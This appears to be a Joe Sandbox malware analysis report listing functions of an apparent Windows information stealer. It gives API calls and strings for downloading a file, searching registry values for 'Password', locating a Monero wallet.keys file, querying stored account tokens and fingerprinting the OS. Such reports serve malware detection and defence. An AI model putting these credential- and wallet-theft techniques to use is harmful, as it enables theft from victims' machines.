@, xrefs: 00417BED

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
Part of subcall function 00404800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0112F058), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(?,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(?), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4c8ebae299f94206cab03bd14d01f9ed5433f0979126226e8ad67031b17bccee
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: 4c8ebae299f94206cab03bd14d01f9ed5433f0979126226e8ad67031b17bccee
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0040737A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?), ref: 00407492
HeapFree.KERNEL32(00000000), ref: 00407499
task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 08459276cf32a9fd5a017366a2075bc4a1792fab787612084efadf761c11dad2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: 08459276cf32a9fd5a017366a2075bc4a1792fab787612084efadf761c11dad2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlen.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlen.KERNEL32(00000000), ref: 0040BBE3
lstrlen.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1079375795
Opcode ID: 378afd34139c3bf4744b1d97817c3008881af2f8d842fb4df0bba791e0f5b7a6
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 378afd34139c3bf4744b1d97817c3008881af2f8d842fb4df0bba791e0f5b7a6
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,0112EAA0,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlen.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,0112EC50,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: bb939a279c982b77b4b4f8b88d469f26bcfd6aa4ddc14bf67da64128b047d95d
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: bb939a279c982b77b4b4f8b88d469f26bcfd6aa4ddc14bf67da64128b047d95d
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: dda12fde4f6630db666510706f123bc6baa6e8bda111a20df3924b532c354011
Instruction ID: bfc8215e0d8f616cf80b90e3c853b2c42f9f07cf64df34344ab74801e54e568c
Opcode Fuzzy Hash: dda12fde4f6630db666510706f123bc6baa6e8bda111a20df3924b532c354011
Instruction Fuzzy Hash: 1A2151B1D01209ABDF14DFA5E849ADE7B75FF44324F108629F929A72D0EB706A05CF81

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
RtlAllocateHeap.NTDLL(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,0111BAF8,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,0112EA10,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
RtlAllocateHeap.NTDLL(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,0111BAF8,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
